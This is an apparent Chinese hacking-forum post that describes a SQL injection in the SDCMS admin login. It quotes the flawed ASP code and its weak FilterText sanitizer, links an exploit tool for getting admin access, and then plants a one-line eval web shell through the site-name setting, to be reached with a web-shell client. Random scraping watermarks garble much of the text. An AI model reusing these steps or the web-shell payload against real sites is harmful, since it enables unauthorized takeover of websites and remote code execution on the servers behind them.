作者:T00LS 鬼哥: A6 o' I+ q0 V. X
漏洞文件:后台目录/index.asp
: _/ ]) C: [9 J7 L; Y) w/ ~3 t z% z* X E2 f6 X3 ]- t
Sub Check
( n; d, f0 I8 q6 k) |0 `' p Dim username,password,code,getcode,Rs: z8 _2 P5 P J, N
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
$ k" g# W5 y3 \5 L+ H0 u username=FilterText(Trim(Request.Form("username")),1)
4 J2 p. A; F3 }$ V- F) y; Q% r password=FilterText(Trim(Request.Form("password")),1)/ Z/ j" V( n5 ^: @
code=Trim(Request.Form("yzm"))6 I" }2 j" o0 j& }/ s+ }) Y
getcode=Session("SDCMSCode")7 ?# u. w/ }5 |* L8 [
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died& o+ z. G3 L5 Y3 @ G9 D8 ?; d% W
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied) k; J0 g+ Y4 b1 r0 I5 k( W8 x
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied5 k' D, u+ q2 p& \! N
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
D7 A" u! F$ k. f0 ]/ [: v IF username="" or password="" Then4 | u S' g, |7 K
Echo "用户名或密码不能为空" ied) [9 A9 K+ t2 \" T- y3 k
Else
4 Q. ^( F+ R, f* v Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
' y, S8 J4 l, n* [ IF Rs.Eof Then/ \/ x8 u* y- a% I( ?
AddLog username,GetIp,"登录失败",1
5 R9 D, [1 U6 W+ U F- J! b9 q Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
: i" R" e3 d2 f- Z5 z% n% u' l0 U Else8 Y4 ]: O N, l
Add_Cookies "sdcms_id",Rs(0)
/ j" F: y( Z! L4 F. z Add_Cookies "sdcms_name",username
8 T, a. o$ i) ?! k5 W. b( ] Add_Cookies "sdcms_pwd",Rs(2)
0 S. R. ?* N# c- L+ v2 F5 ~# e Add_Cookies "sdcms_admin",Rs(3). C0 o& s4 _/ M) u
Add_Cookies "sdcms_alllever",Rs(4)
( X9 R3 V! N! m: o! |5 ` H8 P, \5 v Add_Cookies "sdcms_infolever",Rs(5)9 ~# R k6 N5 y: r6 [2 W( _ O( E+ l7 q
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")1 _ e2 Y" O& R/ t% V: i$ r& f6 K
AddLog username,GetIp,"登录成功",1
; g" @/ R+ q- c# W: H '自动删除30天前的Log记录
; m1 s/ Y7 U7 G8 z4 y- t IF Sdcms_DataType Then' S: @; S8 W$ _
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
4 [0 p4 I& k5 \" @* `9 h Else
( @; ^/ t* y) k$ L! ]: U6 l8 E Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
9 ^3 h( T' t- }: i) `8 a# s& O# ? End IF
8 G4 O# L& [1 c0 `" G- N3 Y" G* [3 J Go("sdcms_index.asp")
" @# h4 o, u3 X7 H* {) I0 t# C End IF: ^+ {4 {# p& ^% c X4 A
Rs.Close, N. d# V: J' b1 j+ j ^
Set Rs=Nothing
1 e( x% y7 i. C+ v End IF0 `2 F9 K& [. M0 @$ d
End Sub
3 r- X- B' ~% ]6 }! m* S( L! @1 {
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码& l! `! g, S( U7 R# j
+ K0 M# i) S) N* M( A+ L; J
Function FilterText(ByVal t0,ByVal t1)
! ?) A) F6 M$ s8 H$ R IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
2 \( v' J* U, Z2 Z$ X- e t0=Trim(t0)2 p. h$ i/ T- O2 a
Select Case t1
o0 S3 d3 }0 o* W; S3 K Case "1"3 s4 P/ P8 |! |1 {/ K8 P5 ]
t0=Replace(t0,Chr(32),"")
6 j( F! U; f* D/ u1 y t0=Replace(t0,Chr(13),"")* f E: J5 c! }! q. ]# d3 M
t0=Replace(t0,Chr(10)&Chr(10),""): r9 |) n5 H4 q- F* D
t0=Replace(t0,Chr(10),"")
, h/ g+ s6 Q8 C Case "2". A' X; [ A. B; |. c; B
t0=Replace(t0,Chr(8),"")'回格
6 r' C/ c v) @2 | t0=Replace(t0,Chr(9),"")'tab(水平制表符)
. t/ p, ] e! k2 X t0=Replace(t0,Chr(10),"")'换行
0 E: }% e9 _$ x' W5 Q& g t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
$ l, Q9 J5 w _3 G) i9 d/ D t0=Replace(t0,Chr(12),"")'换页
| ? k* D" o) L t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
% w7 [! q! R: M4 U4 M' _ t0=Replace(t0,Chr(22),"")
, ]9 l& F; q" [* r8 `" U2 e0 B% v t0=Replace(t0,Chr(32),"")'空格 SPACE4 ]8 S! K: B, E. }
t0=Replace(t0,Chr(33),"")'!! e( s3 p' V1 a( a3 Y% B
t0=Replace(t0,Chr(34),"")'"* P, g: Q6 Z6 a. C. U& b6 h
t0=Replace(t0,Chr(35),"")'#
8 J- C& C1 B! R0 W' D9 e3 l t0=Replace(t0,Chr(36),"")'$
5 @8 Y4 w; }* a! f/ C7 V. E$ V t0=Replace(t0,Chr(37),"")'%
; n+ s' R8 G. H- t% `% C- H5 t t0=Replace(t0,Chr(38),"")'&
( R) U$ m8 d5 a4 e% K" w t0=Replace(t0,Chr(39),"")''$ e) z& o- D' U( P
t0=Replace(t0,Chr(40),"")'(4 h/ u' r3 \% w$ q i2 r9 F
t0=Replace(t0,Chr(41),"")')
/ o, d( N- E( y t0=Replace(t0,Chr(42),"")'*
" k* @7 N8 ]1 F, n- l8 t' k# k t0=Replace(t0,Chr(43),"")'+9 S" V4 k; J" r+ e! n! e9 g
t0=Replace(t0,Chr(44),"")',1 j4 E4 E0 g. o! P# ~0 R) L( l6 F
t0=Replace(t0,Chr(45),"")'-8 k, O, l( l( M# l: {) o3 x( T( m
t0=Replace(t0,Chr(46),"")'.( X* o0 c' I8 d, p" q. ?: ~
t0=Replace(t0,Chr(47),"")'/
( e( Q4 p9 b: |) i# b- c& i, d& ] t0=Replace(t0,Chr(58),"")':! R' P* p2 F* Z4 K
t0=Replace(t0,Chr(59),"")';
- L7 j$ O! n( X1 R4 d! R0 | t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
, P% t$ ?; i, s! S' c4 } t0=Replace(t0,Chr(63),"")'?* O3 C5 L) \; j0 }* d5 I
t0=Replace(t0,Chr(64),"")'@8 B+ Q( J- s/ _% K
t0=Replace(t0,Chr(91),"")'\. q3 A3 L8 @' o1 Q; w
t0=Replace(t0,Chr(92),"")'\% U5 g6 f; w+ q2 D2 [7 p1 D
t0=Replace(t0,Chr(93),"")']7 l; ?5 P }0 f- {
t0=Replace(t0,Chr(94),"")'^
9 O e. G8 ` t. S! e t0=Replace(t0,Chr(95),"")'_
# } H6 s1 f/ _% u t0=Replace(t0,Chr(96),"")'`
% r w/ j: J, d( J7 t t0=Replace(t0,Chr(123),"")'{. g- s/ d1 p* z$ \2 m
t0=Replace(t0,Chr(124),"")'|
- h& D# a6 K/ s' s6 _! |1 z+ ] t0=Replace(t0,Chr(125),"")'}5 Q( y* }" P& ?2 T3 C; N
t0=Replace(t0,Chr(126),"")'~
- j) [+ n0 i3 u2 v Case Else. {* W7 ~/ x+ a: Q
t0=Replace(t0, "&", "&")9 u( N* B2 S4 } |0 e% P
t0=Replace(t0, "'", "'")
: k( {& P/ e- Y( ?3 s t0=Replace(t0, """", """)9 a( ~7 M! u' V: K9 G
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
% g) w' a2 H8 P* H7 e9 ~/ l End Select
9 J- s: i4 }6 k: m7 R IF Instr(Lcase(t0),"expression")>0 Then5 c6 a$ p3 ?) ? x% W( m( n
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
7 u$ h1 C! D+ Z6 u+ { End If
& I9 p, C( z2 [" U FilterText=t0
9 u6 K& }/ O$ WEnd Function/ ]7 q9 M) N9 B A6 b8 w
! b# I- d4 U: i
看到没。直接参数是1 只过滤
6 J! i5 J" p. Q0 r0 `8 I* K/ f a t0=Replace(t0,Chr(32)," ")- O% W/ E/ `% j" a" e) U, i* r( I
t0=Replace(t0,Chr(13),"")
; ?! J3 L# f. W t0=Replace(t0,Chr(10)&Chr(10),"
6 h: k, K: C& t3 J")
+ d) N% S0 C9 `8 g7 u; @* i t0=Replace(t0,Chr(10),"
# X6 F& C2 e# ?; F1 ~+ C9 i8 y")0 t' e6 c& V& R! x! r
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!, Y: d1 }' U6 R
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP3 p# ?3 M) t ?8 S4 ]% A% O& \# }+ |
: p% x: W9 [6 c
测试:
^3 a0 U" i" }1 J; k9 h* V4 w: C" f( r% r
) O% q' C' W/ u9 |. Z% l8 r
现在输入工具上验证码,然后点OK% C {' \" _, P/ ]
) c, d# r) x# k& W9 q( S4 G2 x
, r' _% K5 i; l; _ @: k3 H2 N# e看到我们直接进入后台管理界面了,呵呵!( Q* A6 u. w) @
" x/ \) G* M% A' `4 q, ~3 Q, D0 k; u0 A( \6 C5 F2 u1 c
* n0 O8 W% i d. }4 b* |6 w0 o
这样直接进入后台了。。。。" M5 j4 U4 g6 A4 p$ U8 W
7 _$ X. B W8 T/ P' s% j4 c
$ F- x( N& \" V q
3 J K- X0 W, u' P9 Q# `; `SDCMS提权:' Q$ }% o8 v4 w- y
( q) A5 ^, k, ?/ J
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
7 I$ Q) I A; a! f% j7 z; X; \- k) T/ F' U
$ V7 d2 j: H& C# j3 Z1 u( R \" t* n" B' c! r
OK,现在用菜刀连接下!
" u4 L: y8 e( i j# h/ X5 F5 n* N$ r) Q# {$ V0 i
9 U! N4 r9 l/ Q* q0 c1 n0 q
8 l2 _7 l- X; v& R
% r5 W. V! r7 ~5 e6 G
2 z3 w4 v8 M q; t7 {8 E |